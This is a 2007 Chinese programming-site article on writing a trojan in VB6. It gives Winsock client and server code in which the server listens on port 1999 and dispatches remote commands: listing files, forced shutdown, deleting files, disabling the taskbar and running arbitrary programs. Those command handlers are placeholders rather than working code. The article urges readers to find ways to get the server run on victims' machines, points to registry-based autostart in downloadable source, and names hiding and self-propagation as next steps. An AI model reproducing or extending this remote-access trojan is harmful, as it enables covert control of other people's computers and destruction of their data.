首页 | 互联网 | IT动态 | 网络设备 | 服务器 | IDC | 安全 | Cisco | Windows | Linux | Java | .Net | Oracle | CIW | 华为 | 专题
IT技术 | 网页设计 | 平面设计 | 电子书下载 | 教学视频 | 方案 | 数字网校 | 直播室 | 虚拟考场 | 面授培训 | 搜索 | 博客 | 沙龙 | 论坛
首页 | JAVA | C# | VB | VB.NET | C/C++ | delphi | 工程管理 | 其他语言 | 论坛
免费注册一站通帐号,参与直播、论坛、下载、博客、网摘、评论,展现我的风采!
您现在的位置: 中国IT实验室 >> 桌面开发 >> VB >> 文章正文
浅谈用VB6.0编写木马程序
来源:中国IT实验室整理  时间:2007-4-4

  现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
  
  首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
  
  在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
  
  Private Sub cmdConnect_Click()
  
  If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
  
  MsgBox ("请输入主机名或主机IP地址。")
  
  Exit Sub
  
  Else
  
  If Len(Text1.Text) > 0 Then
  
  tcpClient.RemoteHost = Text1.Text
  
  Else
  
  tcpClient.RemoteHost = Text2.Text
  
  End If
  
  End If
  
  tcpClient.Connect
  
  Timer1.Enabled = True
  
  End Sub
  
  连接建立之后就可以使用DataArrival事件处理所收到的数据了。
  
  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
  
  Private Sub Form_Load()
  
  tcpServer.LocalPort = 1999
  
  tcpServer.Listen
  
  End Sub
  
  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
  
  Private Sub tcpServer_ConnectionRequest
  
  (ByVal requestID As Long)
  
  If tcpServer.State < > sckClosed Then
  
  tcpServer.Close‘检查控件的 State 属性是否为关闭的。
  
  End If '如果不是,在接受新的连接之前先关闭此连接。
  
  tcpServer.Accept requestID
  
  End Sub
  
  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
  
  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
  
  Private Sub tcpServer_DataArrival
  
  (ByVal bytesTotal As Long)
  
  Dim strData As String
  
  Dim i As Long
  
  Dim mKey As String
  
  tcpServer.GetData strData
  
  '接收数据并存入strData
  
  For i = 1 To Len(strData)
  
  '分离strData中的命令
  
  If Mid(strData, i, 1) = "@" Then
  
  mKey = Left(strData, i - 1)
  
  '把命令ID号存入mKey
  
  '把命令参数存入strData
  
  strData = Right(strData, Len(strData) - i)
  
  Exit For
  
  End If
  
  Next i
  
  Select Case Val(mKey)
  
  Case 1
  
  ‘驱动器名、目录名、文件名
  
  Case 2
  
  强制关闭服务器端的计算机
  
  Case 3
  
  强制重启服务器端的计算机
  
  Case 4
  
  屏蔽任务栏窗口;
  
  Case 5
  
  屏蔽开始菜单;
  
  Case 6
  
  按照客户机端传过来的文件名或目录名,而删除它;
  
  Case 7
  
  屏蔽热启动键;
  
  Case 8
  
  运行服务器端的任何程序
  
  End Select
  
  End Sub
  
  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
  
  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
  
  Private Sub tcpServer_Close()
  
  tcpServer.Close
  
  tcpServer.Listen
  
  End Sub
  
  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。 源代码下载
  
  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用来破坏别人的系统。
【责编:Lili】

中国IT教育热线咨询

相关文章
解析VB的事件驱动编程
编写快速高效的VB程序
VB中运用反射原理优化程序代码
VB中数据集合对象的应用
递归过程在VB中的应用实例
VB/VB.NET/C#导出到Excel的方法
关于Visual Basic 9.0的动态标识符
VB6如何在拖托盘中写入应用程序图标
推荐文章
· 用C#创建COM对象
· IT管理十大失误及其对策
· VC中利用MFC设计绘图程序初步
· JAVA中对象创建和初始化过程
· C语言中的位域的使用
· 浅谈Java桌面应用程序开发
· C#的前途如何?
· 几种VC++数据库开发技术的相对比较
 精彩友情推荐
·锐捷交换机报价
·锐捷交换机
·锐捷网络网络交换机
·smc交换机
·smc交换机报价
·IDC资讯大全
·机房品质万里行
·IDC托管必备知识
·全国IDC报价
·网站推广优化
最新更新 推荐文章
·Visual Basic 9.0隐式类型的局部…09-30
·JMX+J2SE5.0实现Web应用的安全管…09-30
·多线程、Socket技术及委托技术的…09-21
·Visual C#多线程参数传递浅析09-21
·浅谈Java中利用JCOM实现仿Excel编…09-21
·基于Java的界面布局DSL的设计与实…09-21
·Java开发中的事件驱动模型实例详…09-21
·并发工程原则应用到软件项目中09-06
·Delphi初学者应小心的六大陷阱09-06
·VC开发多语言界面支持的简单方法09-06
·用C#创建COM对象09-06
·用C#创建COM对象09-06
·IT管理十大失误及其对策08-30
·VC中利用MFC设计绘图程序初步08-23
·JAVA中对象创建和初始化过程08-23
·C语言中的位域的使用08-09
·浅谈Java桌面应用程序开发08-09
·C#的前途如何?08-02
·几种VC++数据库开发技术的相对比较07-12
·用Visual C#实现网络封包监视07-12
·VB.NET中的TextBox控件详解07-12
·VB.NET实现PC与掌上电脑PPC的双向通信07-05
  培训中心